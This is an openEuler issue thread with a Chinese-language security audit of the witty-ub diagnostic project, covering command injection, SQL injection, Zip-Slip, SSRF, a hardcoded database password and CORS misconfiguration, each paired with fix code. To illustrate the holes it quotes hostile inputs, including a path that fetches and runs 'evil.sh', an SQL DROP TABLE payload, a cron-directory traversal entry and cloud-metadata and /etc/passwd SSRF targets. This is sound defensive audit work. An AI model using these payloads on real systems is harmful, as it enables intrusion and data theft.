以下的要求不是强制性的, 未按模板评论时对issue无任何影响
issue处理注意事项:
1. 当前issue受影响的分支提交pr时, 须在pr描述中填写当前issue编号进行关联, 否则无法关闭当前issue;
2. 模板内容需要填写完整, 无论是受影响或者不受影响都需要填写完整内容,未引入的分支不需要填写, 否则无法关闭当前issue;
3. 以下为模板中需要填写完整的内容, 请复制到评论区回复, 注: 内容的标题名称(影响性分析说明, 缺陷严重等级, 受影响版本排查(受影响/不受影响), 修复是否涉及abi变化(是/否))不能省略,省略后defect-manager将无法正常解析填写内容.
评论区可能使用到的指令说明:
| 指令 | 指令说明 | 使用权限 |
|---|---|---|
| /check-issue | 触发defect-manager校验 | 不限 |
| /reason xxx | /reason +挂起或取消条件 | 不限 |
影响性分析说明:
缺陷严重等级:(Critical/High/Moderate/Low)
缺陷根因说明:
受影响版本排查(受影响/不受影响):
- openEuler-20.03-LTS-SP4:
- openEuler-22.03-LTS-SP4:
- openEuler-24.03-LTS-SP1:
- openEuler-24.03-LTS-SP3:
- openEuler-24.03-LTS-SP4:
abi变化(是/否):
- openEuler-20.03-LTS-SP4:
- openEuler-22.03-LTS-SP4:
- openEuler-24.03-LTS-SP1:
- openEuler-24.03-LTS-SP3:
- openEuler-24.03-LTS-SP4:
缺陷issue处理具体操作请参考:
https://atomgit.com/openeuler/cve-manager/blob/master/cve-vulner-manager/doc/md/defect-manager-manual.md
pr关联issue具体操作请参考:
https://docs.atomgit.com/docs/help/home/org_project/pullrequests/pr-related-issue


Welcome To openEuler Community
Hey @yangna1310 , thanks for your contribution to the community.
Bot Usage Manual
I'm the Bot here serving you. You can find the instructions on how to interact with me at Here . That means you can comment below every pull request or issue to trigger Bot Commands. You can self-configure the PR merge rules for this repository. For more details, please refer to Here.
Contact Guide
If you have any questions, please contact the SIG: sig-intelligence ,
and any of the maintainers: @fromhsc, @gogoxiaoxiao, @huzhengce, @kaitiandu, @leon-wang2021, @liumiao27, @lyhu, @wqianli, @zxstty ,
and any of the committers: @Eusford_0526, @li-yuanrong, @yukizhao .


影响性分析说明: 存在命令注入、SQL 注入、明文口令等致命性问题
缺陷严重等级: Critical
缺陷根因说明: 开发时引入不安全行为
受影响版本排查(受影响/不受影响):
openEuler-20.03-LTS-SP4: 不受影响
openEuler-22.03-LTS-SP4: 不受影响
openEuler-24.03-LTS-SP1: 不受影响
openEuler-24.03-LTS-SP3: 受影响
openEuler-24.03-LTS-SP4: 受影响
abi变化(是/否):
openEuler-20.03-LTS-SP4: 否
openEuler-22.03-LTS-SP4: 否
openEuler-24.03-LTS-SP1: 否
openEuler-24.03-LTS-SP3: 否
openEuler-24.03-LTS-SP4: 否


@Eusford_0526 经过defect-manager解析,已分析的内容如下表所示:
| 状态 | 需分析 | 内容 |
|---|---|---|
| 已分析 | 1.影响性分析说明 | 存在命令注入、SQL注入、明文口令等致命性问题 |
| 已分析 | 2.缺陷严重等级 | Critical |
| 已分析 | 3.缺陷根因定位 | 开发时引入不安全行为 |
| 已分析 | 4.受影响版本排查 | openEuler-20.03-LTS-SP4:不受影响,openEuler-22.03-LTS-SP4:不受影响,openEuler-24.03-LTS-SP1:不受影响,openEuler-24.03-LTS-SP3:受影响,openEuler-24.03-LTS-SP4:受影响 |
| 已分析 | 5.abi变化 | openEuler-20.03-LTS-SP4:不受影响,openEuler-22.03-LTS-SP4:不受影响,openEuler-24.03-LTS-SP1:不受影响,openEuler-24.03-LTS-SP3:受影响,openEuler-24.03-LTS-SP4:受影响 |
请确认分析内容的准确性,确认无误后,您可以进行后续步骤,否则您可以继续分析


@Eusford_0526 经过defect-manager解析,已分析的内容如下表所示:
| 状态 | 需分析 | 内容 |
|---|---|---|
| 已分析 | 1.影响性分析说明 | 存在命令注入、SQL注入、明文口令等致命性问题 |
| 已分析 | 2.缺陷严重等级 | Critical |
| 已分析 | 3.缺陷根因定位 | 开发时引入不安全行为 |
| 已分析 | 4.受影响版本排查 | openEuler-20.03-LTS-SP4:不受影响,openEuler-22.03-LTS-SP4:不受影响,openEuler-24.03-LTS-SP1:不受影响,openEuler-24.03-LTS-SP3:受影响,openEuler-24.03-LTS-SP4:受影响 |
| 已分析 | 5.abi变化 | openEuler-20.03-LTS-SP4:否,openEuler-22.03-LTS-SP4:否,openEuler-24.03-LTS-SP1:否,openEuler-24.03-LTS-SP3:否,openEuler-24.03-LTS-SP4:否 |
请确认分析内容的准确性,确认无误后,您可以进行后续步骤,否则您可以继续分析


【缺陷描述】:请补充详细的缺陷问题现象描述
witty-ub代码安全扫描问题
一、缺陷信息
整体评价:项目核心 C++ 诊断引擎在输入校验(task-id、pod-id、eid、jetty-id、时间格式)、原子文件写入(mkstemp + fsync + rename + 0644 权限)、二进制缓存反序列化(magic + version + size 校验)等方面安全意识良好;brpc_diag_tool 的 task-id 严格白名单校验有效阻断了路径穿越与命令注入。但 日志采集模块
log_reader.cpp通过 popen 拼接 shell 命令、SQLite 封装层database.cpp全量字符串拼接 SQL、Python zip 解压未校验条目名 三处存在高危缺陷,且部署配置存在硬编码默认口令witty-ub,需优先修复。三、审计发现详情
🔴 致命 (Critical)
发现 1:日志采集 popen 命令拼接注入
src/log/log_reader.cpp:255-262, 268-273调用栈:
问题代码:
// src/log/log_reader.cpp:233-278 void LogReader::ConfigureHandle(DataSourceOption option) { if (option == DataSourceOption::KERNEL) { opener_ = [&](const std::string& p) { // ... gawk 脚本 ... std::string cmd = "gawk -v s=" + std::to_string(startSec) + " -v e=" + std::to_string(endSec) + " -e '" + script + "' "; if (std::filesystem::is_regular_file(p)) { cmd += p; // ← 路径 p 直接拼入 shell 命令 } else { cmd = p + " -T | " + cmd; // ← 路径 p 作为命令前缀拼接 } cmd += BuildKeywordFilter(keywords_); // ← 关键词经 ShellEscapeSingleQuotes 转义 return popen(cmd.c_str(), "r"); // ← shell 执行 }; } else { opener_ = [&](const std::string& p) { auto startTimeStr = failure::TimestampToDatetimeStr(startTime_, "iso8601"); auto endTimeStr = failure::TimestampToDatetimeStr(endTime_, "iso8601"); std::string cmd = "awk -F'|' '$1 >= \"" + *startTimeStr + ".000000+08:00\" && $1 <= \"" + *endTimeStr + ".999999+08:00\"' " + p; // ← 路径 p 未转义直接拼接 cmd += BuildKeywordFilter(keywords_); return popen(cmd.c_str(), "r"); }; } }问题分析:
p(日志文件路径)来自PathCell.path,由failure_mode.json配置或命令行--umq-log-path/--*-log-path参数提供。IsValidPath()(log_collector.cpp:854)仅校验路径非空、绝对路径、存在,未校验路径中是否含 shell 元字符(如;、|、&、$()、反引号、换行)。keywords_经ShellEscapeSingleQuotes转义(对'替换为'\''),但p完全未转义。当路径形如/var/log/$(id).log或/tmp/a;curl evil.sh|sh;.log时,popen会执行注入的命令。虽然
IsValidPath调用std::filesystem::exists(path)要求路径真实存在,但攻击者可构造同时满足"存在"与"含元字符"的路径(如/tmp/x$(cmd),在可控环境中创建该文件)。在容器场景下--pod-mode on的<pod-id>:<path>入参中 path 经IsValidPath校验,pod-id 经IsValidPodId(仅小写字母数字与-)校验,但 path 本身无字符白名单。修复建议:弃用 popen + shell 拼接,改用
fork + execve参数数组执行 awk/gawk,或将路径以单引号包裹并转义内嵌单引号(与ShellEscapeSingleQuotes一致):// 方案一(推荐):用 posix_spawn/execvp 参数数组,彻底消除 shell #include <spawn.h> #include <sys/wait.h> extern char **environ; opener_ = [&](const std::string& p) -> FILE* { std::string sStr = std::to_string(startSec); std::string eStr = std::to_string(endSec); std::string scriptArg = "BEGIN{...} {...}"; // 完整 gawk 脚本 // 对于目录场景先执行 `p -T`,需用 sh -c;此时对 p 做白名单校验 if (!std::all_of(p.begin(), p.end(), [](char c){ return std::isalnum((unsigned char)c) || c=='/'||c=='.'||c=='_'||c=='-'; })) { LOG_ERROR << "path contains unsafe characters: " << p; return nullptr; } char *argv[] = { (char*)"gawk", (char*)"-v", (char*)("s="+sStr).c_str(), (char*)"-v", (char*)("e="+eStr).c_str(), (char*)"-e", (char*)scriptArg.c_str(), (char*)p.c_str(), nullptr }; pid_t pid; int fd[2]; if (pipe(fd) != 0) return nullptr; posix_spawn_file_actions_t fa; posix_spawn_file_actions_init(&fa); posix_spawn_file_actions_adddup2(&fa, fd[1], STDOUT_FILENO); posix_spawn_file_actions_addclose(&fa, fd[0]); posix_spawn_file_actions_addclose(&fa, fd[1]); if (posix_spawnp(&pid, "gawk", &fa, nullptr, argv, environ) != 0) { posix_spawn_file_actions_destroy(&fa); close(fd[0]); close(fd[1]); return nullptr; } posix_spawn_file_actions_destroy(&fa); close(fd[1]); return fdopen(fd[0], "r"); }; // 方案二(最小改动):对 p 做单引号转义 std::string escP = "'" + ShellEscapeSingleQuotes(p) + "'"; cmd += escP;发现 2:SQLite 全量字符串拼接 SQL 注入
src/framework/database/database.cpp:148-216, 218-252, 287-318, 366-390调用栈:
问题代码:
// src/framework/database/database.cpp:148-180 QueryCurrData OP_RET Database::QueryCurrData(string tableName, unordered_map<string, pair<COMP_SYMB, string>> data, vector<unordered_map<string, string>> *res) { string sql = "SELECT * FROM " + tableName; // ← tableName 直接拼接 if (queryData.size() > 0) { sql += " WHERE "; } for (int i = 0; i < queryData.size(); i++) { sql += queryData[i].first + string(queryData[i].second.first); // ← 列名 + 比较符拼接 if (KeyIsText(tableName, queryData[i].first)) { sql += ("'" + queryData[i].second.second + "'"); // ← 文本值仅加单引号,未转义内嵌引号 } else { sql += queryData[i].second.second; // ← 非文本值直接拼接 } } sql += ";"; int rc = sqlite3_exec(currDb, sql.c_str(), QueryDataCallback, (void *)res, &errMsg); } // src/framework/database/database.cpp:287-318 InsertDataOp(同样模式) // src/framework/database/database.cpp:218-252 UpdateDataOp(同样模式) // src/framework/database/database.cpp:366-390 DeleteDataOp(同样模式)问题分析:
Database类的查询/插入/更新/删除四个操作全部通过std::string拼接构造 SQL,文本值仅用'...'包裹,未对内嵌单引号做任何转义(未调用sqlite3_bind_text或转义'→'')。tableName与列名(queryData[i].first)同样直接拼接。数据流:拓扑采集(urma/lcne 插件)从远端 HTTP XML(
lcne_data_handler.cpp:getXMLNodes经getHttpData拉取)解析出guid、busControllerEid、primaryCna、hostname等字符串字段,存入Node/UbController/Port对象,再经ObjToDataMap()进入InsertData。这些字段来自远端 NETCONF/XML 服务,若远端被攻陷或返回含'的恶意值(如primaryCna = "x'; DROP TABLE Device;--"),将导致 SQL 注入。hostname来自gethostname()(本机,风险低),但guid/eid/primaryCna/portCna来自网络 XML,风险高。此外
cout << sql << endl;(行 169/205/244/311/382)将完整 SQL(含值)打印到 stdout,造成敏感信息泄漏(CWE-532)。修复建议:改用 sqlite3 预编译语句(prepared statement)与参数绑定:
// 使用 sqlite3_prepare_v2 + sqlite3_bind_text,彻底消除拼接 OP_RET Database::QueryCurrData(string tableName, unordered_map<string, pair<COMP_SYMB, string>> data, vector<unordered_map<string, string>> *res) { // tableName/列名属于代码可控的固定枚举,可保留拼接但须白名单校验 static const std::set<string> ALLOWED_TABLES = {"Device","UbController","Port"}; if (ALLOWED_TABLES.find(tableName) == ALLOWED_TABLES.end()) { cout << "invalid table name: " << tableName << endl; return OP_RET::FAIL; } string sql = "SELECT * FROM " + tableName; vector<string> binds; if (!data.empty()) { sql += " WHERE "; } int idx = 0; for (auto &kv : data) { if (idx++) sql += " AND "; sql += kv.first + kv.second.first + "?"; // 占位符 binds.push_back(kv.second.second); } sql += ";"; sqlite3_stmt *stmt = nullptr; if (sqlite3_prepare_v2(currDb, sql.c_str(), -1, &stmt, nullptr) != SQLITE_OK) { cout << "prepare error: " << sqlite3_errmsg(currDb) << endl; return OP_RET::FAIL; } for (size_t i = 0; i < binds.size(); ++i) sqlite3_bind_text(stmt, i+1, binds[i].c_str(), -1, SQLITE_TRANSIENT); while (sqlite3_step(stmt) == SQLITE_ROW) { /* 收集行 */ } sqlite3_finalize(stmt); return OP_RET::SUCCESS; } // 同理改造 InsertDataOp/UpdateDataOp/DeleteDataOp // 删除所有 cout << sql << endl; 改为 LOG_DEBUG(避免打印值)发现 3:ZIP 解压路径穿越(Zip-Slip)
src/plugins/latency/common/zip_handler.py:91-102调用栈:
问题代码:
# src/plugins/latency/common/zip_handler.py:85-102 def unzip_file_executor(zip_file_path, target_dir, files_to_extract=None): if not os.path.exists(target_dir): os.makedirs(target_dir) with zipfile.ZipFile(zip_file_path, "r") as zip_ref: sample_data = zip_ref.read(zip_ref.namelist()[0]) detected_encoding = chardet.detect(sample_data)["encoding"] if files_to_extract is None: zip_ref.extractall(target_dir) # ← 未校验条目名 else: files_to_extract = set(files_to_extract) for file_name in files_to_extract: if file_name in zip_ref.namelist(): zip_ref.extract(file_name, path=target_dir) # ← 未校验条目名问题分析:
zipfile.ZipFile.extractall与extract不会阻止含../的条目名。恶意 zip 可包含条目../../etc/cron.d/payload,解压后写入target_dir/../../etc/cron.d/payload,穿越到target_dir之外任意路径,实现任意文件写(可覆盖配置、计划任务、SSH authorized_keys 等)。zip 来源有两个:(1)SourceType.REMOTE—— 用户通过 API 提交远程 URL,服务端下载后解压(结合发现 5 的 SSRF,攻击者可指向恶意 zip);(2)SourceType.UPLOAD—— 用户直接上传 zip。二者均不可信。check_zip_file(行 27)仅校验文件数量与大小,未校验条目路径。修复建议:解压前对每个条目名校验,确保规范化后的绝对路径仍在 target_dir 内:
import os def _safe_extract(zip_ref, target_dir): target_dir = os.path.abspath(target_dir) for member in zip_ref.namelist(): member_path = os.path.abspath(os.path.join(target_dir, member)) # 防止 Zip-Slip:规范化后路径必须仍在 target_dir 之内 if not member_path.startswith(target_dir + os.sep) and member_path != target_dir: logger.error("[ZipHandler] 拒绝不安全条目: %s", member) continue zip_ref.extract(member, path=target_dir) # 替换行 96-102 if files_to_extract is None: _safe_extract(zip_ref, target_dir) else: files_to_extract = set(files_to_extract) for file_name in files_to_extract: if file_name in zip_ref.namelist(): member_path = os.path.abspath(os.path.join(target_dir, file_name)) if not member_path.startswith(os.path.abspath(target_dir) + os.sep): logger.error("[ZipHandler] 拒绝不安全条目: %s", file_name) continue zip_ref.extract(file_name, path=target_dir)🟡 重要 (High)
发现 4:部署脚本 PSQL 命令字符串拼接注入
deploy/rpm/libexec/deploy_pg.sh:101-115调用栈:
问题代码:
# deploy/rpm/libexec/deploy_pg.sh:98-115 _info "创建用户 ${PG_USER} 和数据库 ${PG_DATABASE}..." user_exists=$(printf "SELECT 1 FROM pg_roles WHERE rolname='%s';\n" "${PG_USER}" | psql_as_postgres "-tA" 2>/dev/null || echo "") if [ "$user_exists" = "1" ]; then printf 'ALTER USER "%s" WITH PASSWORD '\''%s'\'';\n' "${PG_USER}" "${PG_PASSWORD}" | psql_as_postgres else printf 'CREATE USER "%s" WITH PASSWORD '\''%s'\'';\n' "${PG_USER}" "${PG_PASSWORD}" | psql_as_postgres fi _log "用户 ${PG_USER} 就绪" if ! db_exists; then printf 'CREATE DATABASE "%s" OWNER "%s";\n' "${PG_DATABASE}" "${PG_USER}" | psql_as_postgres fi问题分析:
PG_USER、PG_PASSWORD、PG_DATABASE来自deploy.conf(默认witty-ub)或环境变量。printf将其直接拼入 SQL 字符串,仅用单引号包裹密码。若PG_PASSWORD含单引号(如pass'word),生成的 SQL 为CREATE USER "witty-ub" WITH PASSWORD 'pass'word';,导致语法错误或注入。若PG_USER含"; DROP DATABASE witty-ub;--",因用双引号包裹(标识符引用),PostgreSQL 会将其视为非法标识符而报错,但仍可造成拒绝服务。PG_PASSWORD经ALTER USER ... WITH PASSWORD '...'单引号包裹,内嵌单引号可中断字符串注入任意 SQL。修复建议:使用 psql 变量替换(
-v)或psql的\set,让 psql 负责转义;或改用psql -c配合 dollar-quoting:# 使用 psql 变量绑定,避免 shell 拼接 SQL psql_as_postgres <<EOF DO \$\$ BEGIN IF NOT EXISTS (SELECT 1 FROM pg_roles WHERE rolname = :'user') THEN EXECUTE format('CREATE USER %I WITH PASSWORD %L', :'user', :'password'); ELSE EXECUTE format('ALTER USER %I WITH PASSWORD %L', :'user', :'password'); END IF; END \$\$; EOF # 调用:psql -v user="$PG_USER" -v password="$PG_PASSWORD" ... # %I/%L 由 format() 安全转义标识符与字面量发现 5:远程日志拉取 SSRF
src/plugins/latency/services/log_file.py:225-230调用栈:
问题代码:
# src/plugins/latency/services/log_file.py:222-235 elif upload_log_file_config.source_type == SourceType.REMOTE: try: async with aiohttp.ClientSession() as session: async with session.get( upload_log_file_config.source # ← 用户可控 URL,无任何限制 ) as response: response.raise_for_status() content = await response.read() local_zip_file_path = LogFileService.get_upload_path(log_file_model.id + ".zip") async with aiofiles.open(local_zip_file_path, "wb") as f: await f.write(content)问题分析:
upload_log_file_config.source由 API 请求体UpLoadLogFilesRequest提供(用户可控),aiohttp.ClientSession().get()直接请求该 URL,无协议白名单、无内网地址屏蔽、无重定向限制。攻击者可提交:http://169.254.169.254/latest/meta-data/—— 探测云元数据服务窃取实例凭证;http://127.0.0.1:5432/—— 探测/攻击内网 PostgreSQL、Redis 等服务;file:///etc/passwd—— 配合 aiohttp 的 file 协议读取本地文件(取决于配置)。拉取内容随后被写入本地 zip 并解压(结合发现 3 的 Zip-Slip),形成"远程拉取 → 任意文件写"攻击链。
修复建议:对 URL 做协议白名单与目标地址校验,禁止内网/链路本地/回环地址,限制重定向:
from urllib.parse import urlparse import ipaddress, socket ALLOWED_SCHEMES = {"http", "https"} def _validate_remote_url(url: str) -> bool: parsed = urlparse(url) if parsed.scheme not in ALLOWED_SCHEMES: return False if not parsed.hostname: return False try: # 解析所有 A/AAAA,逐一屏蔽内网地址 for info in socket.getaddrinfo(parsed.hostname, None): ip = ipaddress.ip_address(info[4][0]) if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved: return False except (socket.gaierror, ValueError): return False return True # 调用处 if not _validate_remote_url(upload_log_file_config.source): raise BadRequestBizException(message=f"不允许的远程日志URL: {upload_log_file_config.source}") async with aiohttp.ClientSession() as session: async with session.get(upload_log_file_config.source, allow_redirects=False, timeout=aiohttp.ClientTimeout(total=300)) as response: ...发现 6:硬编码数据库默认口令
config/diagnosis_config.toml:6、deploy/deploy.conf:27问题代码:
# config/diagnosis_config.toml:1-8 [db] pg_host = "127.0.0.1" pg_port = 5432 pg_database = "witty-ub" pg_user = "witty-ub" pg_password = "witty-ub" # ← 硬编码默认口令,与用户名相同# deploy/deploy.conf:25-27 PG_DATABASE="witty-ub" PG_USER="witty-ub" PG_PASSWORD="witty-ub" # ← 同样的弱口令问题分析:仓库默认配置文件中 PostgreSQL 口令为硬编码的弱口令
witty-ub(与用户名相同)。deploy/rpm/libexec/manager.sh:107会将deploy.conf的PG_PASSWORD同步写入diagnosis_config.toml的pg_password字段。若部署人员未修改默认值,生产环境数据库将使用该弱口令。结合deploy/host/deploy.sh:267 PPASS="$PG_PASSWORD"与psql建库,默认部署后数据库即以弱口令对外(若 PG 监听非 127.0.0.1)。diagnosis_config.toml在源码包内随产品分发,攻击者知晓默认口令后可直接连接数据库窃取/篡改诊断数据。修复建议:
pg_password留空或置为占位符"<CHANGE_ME>",部署脚本检测到空/占位符时随机生成强口令并写入:# deploy_pg.sh 初始化时 if [ -z "$PG_PASSWORD" ] || [ "$PG_PASSWORD" = "witty-ub" ]; then PG_PASSWORD="$(head -c 24 /dev/urandom | base64 | tr -d '/+=' | head -c 24)" _warn "已为 PG 自动生成随机口令,请妥善保存到 pg.conf" sed -i "s|^PG_PASSWORD=.*|PG_PASSWORD=\"${PG_PASSWORD}\"|" "$CONF_FILE" fi发现 7:FastAPI CORS 允许任意源携带凭证
src/plugins/latency/access/fastapi_server.py:104-110问题代码:
# src/plugins/latency/access/fastapi_server.py:104-110 app.add_middleware( CORSMiddleware, allow_origins=["*"], # ← 允许任意源 allow_credentials=True, # ← 同时允许携带凭证 allow_methods=["*"], allow_headers=["*"], )问题分析:根据 CORS 规范与 OWASP 建议,
allow_origins=["*"]与allow_credentials=True不应同时使用。虽然现代浏览器在收到Access-Control-Allow-Origin: *时不会发送凭证,但 Starlette 的CORSMiddleware在allow_credentials=True且allow_origins=["*"]时,会将响应头Access-Control-Allow-Origin回显请求的 Origin(而非字面*),从而变相允许任意源携带凭证访问。这使得恶意网站可在用户已登录 latency 服务时,跨域发起携带 Cookie/Authorization 的请求,实现 CSRF 式的数据窃取或操作(如创建/删除日志文件、触发诊断任务)。修复建议:明确列出可信前端源,关闭通配符:
ALLOWED_ORIGINS = [ "http://localhost:5173", # vite dev "http://127.0.0.1:5173", "https://witty-ub.example.com", # 生产前端域名 ] app.add_middleware( CORSMiddleware, allow_origins=ALLOWED_ORIGINS, # 显式白名单 allow_credentials=True, allow_methods=["GET", "POST", "PUT", "DELETE", "PATCH", "OPTIONS"], allow_headers=["Content-Type", "Authorization"], ) # 或从环境变量读取:allow_origins=os.getenv("WITTY_CORS_ORIGINS","").split(",")发现 8:DatabaseModule::Stop 注释 CloseDb 致资源泄漏 + 数据丢失
src/framework/database/database_module.cpp:42-46、src/framework/database/database.cpp:426-450调用栈:
问题代码:
// src/framework/database/database_module.cpp:42-46 void DatabaseModule::Stop() { //OP_RET rc = db -> CloseDb(); // ← CloseDb 被注释掉 return; } // src/framework/database/database.cpp:426-450 CloseDb 的危险实现 OP_RET Database::CloseDb() { cout << "closing db" << endl; for (auto it: keysMap) { string tableName = it.first; OP_RET rc = DropTable(currDb, tableName); // ← 关闭时 DROP 所有表! ... } int rc1 = sqlite3_close(currDb); // ← 再关闭句柄 ... }问题分析:存在两个叠加问题:
DatabaseModule::Stop()将CloseDb()调用注释掉,导致sqlite3*句柄永不释放(Database析构也不会关闭,因为db是shared_ptr<Database>且Database类无析构关闭逻辑)。每次模块停止/重启都会泄漏一个 SQLite 句柄与文件锁。CloseDb(),其实现先 DROP 所有表再关闭句柄(行 429-440),这会销毁全部拓扑数据。这显然是设计错误——CloseDb应仅sqlite3_close,不应DropTable。当前因被注释而未触发,但属于"埋雷"。此外
OpenDb("euler_copilot_ub", true)(database_module.cpp:33)使用相对路径数据库名,SQLite 会在进程当前工作目录创建文件,路径不可控(CWE-22 相对路径)。修复建议:
// 1) database_module.cpp:恢复关闭,但调用仅关闭句柄的方法 void DatabaseModule::Stop() { if (db) { db->Close(); } // 新增仅关闭句柄的方法 } // 2) database.cpp:拆分 CloseDb,移除 DropTable OP_RET Database::Close() // 新方法:仅关闭句柄 { int rc1 = sqlite3_close(currDb); int rc2 = 0; if (enableHis) rc2 = sqlite3_close(hisDb); currDb = nullptr; hisDb = nullptr; return (rc1 || rc2) ? OP_RET::FAIL : OP_RET::SUCCESS; } // 保留 DropTable 作为独立的显式清理接口(仅在 --clean 场景调用) // 3) database_module.cpp:使用绝对路径 OP_RET rc = db->OpenDb("/var/witty-ub/euler_copilot_ub", true);发现 9:HTTP 路由 MakeKey 赋值误用导致路径双斜杠与路由失配
src/framework/com/http/rack_http_server_handler.cpp:95-104问题代码:
// src/framework/com/http/rack_http_server_handler.cpp:95-104 std::string RackHttpServerHandler::MakeKey(RackHttpMethod method, std::string path) { if (path.empty()) { path = "/"; } if (path[0] = '/') { // ← 赋值 '=' 而非比较 '==',且恒为真 path = "/" + path; // ← 每次都执行,导致 path 变为 "//xxx" } return MethodToString(method) + " " + path; }问题分析:
if (path[0] = '/')是赋值表达式(将path[0]设为'/',返回'/'即真),而非比较path[0] == '/'。这导致:path = "/" + path总是执行,使所有注册的路由 key 变为METHOD //path(双斜杠)。Dispatch(行 58)用MakeKey(request.method, request.path)查找路由,请求路径request.path同样被MakeKey转成//path,因此精确路由匹配仍能命中(两边都被双斜杠化),掩盖了 bug。但前缀通配路由(行 76-86)的逻辑会因pattern = "//api/*"而与request.path = "//api/xxx"匹配,行为虽巧合可用,但path[0] = '/'会在path为空已被设为/后再赋值(无害),在path非空且首字符非/时篡改首字符为/(如注册path = "api"会被改为/api再变//api),且产生非预期的双斜杠 key,可能导致与反向代理(规范化//→/)路径不一致,引发路由失配或绕过鉴权前缀检查。修复建议:
std::string RackHttpServerHandler::MakeKey(RackHttpMethod method, std::string path) { if (path.empty()) { path = "/"; } if (path[0] != '/') { // ← 改为比较 '!=',仅在缺少前导斜杠时补一个 path = "/" + path; } return MethodToString(method) + " " + path; }开启编译器告警
-Wall -Wextra -Wparentheses(GCC/Clang 会对此赋值发出warning: using the result of an assignment as a condition),项目 CMake 已有-Wall -Werror但该文件未触发(可能因if内是表达式语句),建议确认告警生效。🟢 建议 (Medium)
发现 10:SQLAlchemy LIKE 查询未转义通配符(通配符注入 / DoS)
src/plugins/latency/database/managers/log_knowledge.py:83,85,106,108、src/plugins/latency/database/managers/time_window_aggregated_event.py:522,524问题代码:
# src/plugins/latency/database/managers/log_knowledge.py:83-85 stmt = stmt.where(LogKnowledge.name.ilike(f"%{req.name}%")) stmt = stmt.where(LogKnowledge.description.ilike(f"%{req.description}%")) # src/plugins/latency/database/managers/time_window_aggregated_event.py:522-524 filters.append(func.host(LogParseResult.src_ip).like(f"%{req.src_ip}%")) filters.append(func.host(LogParseResult.dst_ip).like(f"%{req.dst_ip}%"))问题分析:用户输入
req.name/req.description/req.src_ip/req.dst_ip通过 f-string 嵌入 LIKE/ILIKE 模式。虽经 SQLAlchemy 参数化绑定(无经典 SQL 注入),但未转义 SQL 通配符%与_。攻击者提交name = "%"或name = "%%%"时,模式变为%%%,匹配几乎所有行,导致全表扫描与大量结果返回(拒绝服务)。brpc_diagnosis.py:712-717已正确使用escape="\\"(ILIKE 加转义),但上述两处未转义,不一致。修复建议:统一转义用户输入中的
%与_,再包裹%...%:def _escape_like(value: str) -> str: # 转义 SQL LIKE 通配符;ILIKE 需配合 escape='\\' return value.replace("\\", "\\\\").replace("%", "\\%").replace("_", "\\_") stmt = stmt.where(LogKnowledge.name.ilike(f"%{_escape_like(req.name)}%", escape="\\"))发现 11:SQLite 完整 SQL 语句(含值)打印到 stdout
src/framework/database/database.cpp:84,169,205,244,311,382问题代码:
// src/framework/database/database.cpp:169-171 cout << sql << endl; // ← 打印含值的完整 SQL char *errMsg; int rc = sqlite3_exec(currDb, sql.c_str(), QueryDataCallback, (void *)res, &errMsg);(另见行 84
cout << sql << endl;、205、244、311、382 同样模式)问题分析:所有 SQL 操作前用
cout << sql << endl;打印完整 SQL 字符串,其中sql包含表名、列名与数据值(如INSERT INTO Device(deviceId,...) VALUES('guid-x','hostname-y',...))。这些值来自拓扑采集(含 hostname、IP、guid、eid 等主机/网络标识),泄漏到 stdout/日志中。在生产部署中 stdout 可能被重定向到日志文件或 journald,导致敏感拓扑信息持久化泄漏。此外cout << "hello" << endl;(行 270)等调试输出也遗留其中。修复建议:将
cout替换为项目统一日志宏LOG_DEBUG,并避免打印值:// 使用项目 logger.h 的 LOG_DEBUG,且仅打印操作与表名,不含值 LOG_DEBUG << "execute SQL on table: " << tableName; int rc = sqlite3_exec(currDb, sql.c_str(), QueryDataCallback, (void *)res, &errMsg); // 删除所有 cout << sql << endl; 与 cout << "hello" << endl; 调试残留发现 12:HTTP 客户端未显式配置 TLS 证书校验
src/framework/com/http/rack_http_client.cpp:36、src/plugins/lcne/lcne_common.cpp:128问题代码:
// src/framework/com/http/rack_http_client.cpp:34-36 RackComResult<RackHttpResponse> RackHttpClient::Do(const RackComContext &context, const RackHttpRequest &request) { httplib::Client cli(baseUrl_); // ← 未显式启用/校验 TLS问题分析:
RackHttpClient用httplib::Client访问远端(如 lcne 插件访问LCNE_URL:LCNE_PORT拉取 XML 拓扑)。httplib::Client默认在 HTTPS URL 时启用 TLS,但未显式设置set_ca_cert_path/enable_server_certificate_verification(true),依赖 httplib 默认行为(不同版本默认值可能不同,旧版默认不校验)。若LCNE_URL为https://且证书校验未启用,中间人可截获/篡改拓扑 XML 数据,进而触发 lcne 解析逻辑的各类问题(注入恶意 guid/eid 进入数据库)。aiohttp(Python 端 log_file.py 的远程拉取)默认校验证书,但未配置超时与重定向限制。修复建议:显式启用证书校验并指定 CA 路径:
httplib::Client cli(baseUrl_); if (baseUrl_.rfind("https", 0) == 0) { cli.enable_server_certificate_verification(true); cli.set_ca_cert_path("/etc/ssl/certs/ca-bundle.crt"); // openEuler 默认 CA } cli.set_connection_timeout(10); cli.set_read_timeout(60);⚠️ 疑似 (Suspected)
发现 13:部署/构建脚本使用 eval 拼接命令(内部变量,低风险)
build.sh:111,220、deploy/rpm/libexec/install_deps.sh:131-143、deploy/host/install_deps.sh:50-65、deploy/rpm/libexec/deploy_pg.sh:143,153,233-240问题代码:
# deploy/rpm/libexec/install_deps.sh:131-132 eval "$SUDO $PM_UPDATE" eval "$SUDO $PM_INSTALL ${PKGS[*]}" || { ... } # build.sh:111 eval docker buildx create --name witty-ub-builder $BUILDKIT_CONFIG_ARG --use问题分析:多处用
eval执行拼接的命令字符串。变量SUDO(""或"sudo")、PM_UPDATE/PM_INSTALL(包管理命令)、PKGS(硬编码包名数组)、BUILDKIT_CONFIG_ARG(--config <path>,path 来自脚本目录)均为脚本内部设置,不直接来自用户输入,故实际注入风险低。但eval仍属危险模式:若未来有变量引入外部输入(如自定义包名、用户指定的 buildx 配置路径),将立即转化为命令注入。PKGS数组中元素含通配符时eval也可能引发 word splitting。修复建议:避免
eval,直接执行或用数组:# 替换 eval "$SUDO $PM_UPDATE" if [ -n "$SUDO" ]; then sudo $PM_UPDATE; else $PM_UPDATE; fi # 替换 eval "$SUDO $PM_INSTALL ${PKGS[*]}" if [ -n "$SUDO" ]; then sudo $PM_INSTALL "${PKGS[@]}"; else $PM_INSTALL "${PKGS[@]}"; fi # build.sh:111 直接执行(BUILDKIT_CONFIG_ARG 已是单参数) docker buildx create --name witty-ub-builder ${BUILDKIT_CONFIG_ARG:+--config} ${BUILDKIT_CONFIG_ARG:+$BUILDKIT_CONFIG} --use发现 14:日志直接打印未转义的用户输入(日志注入)
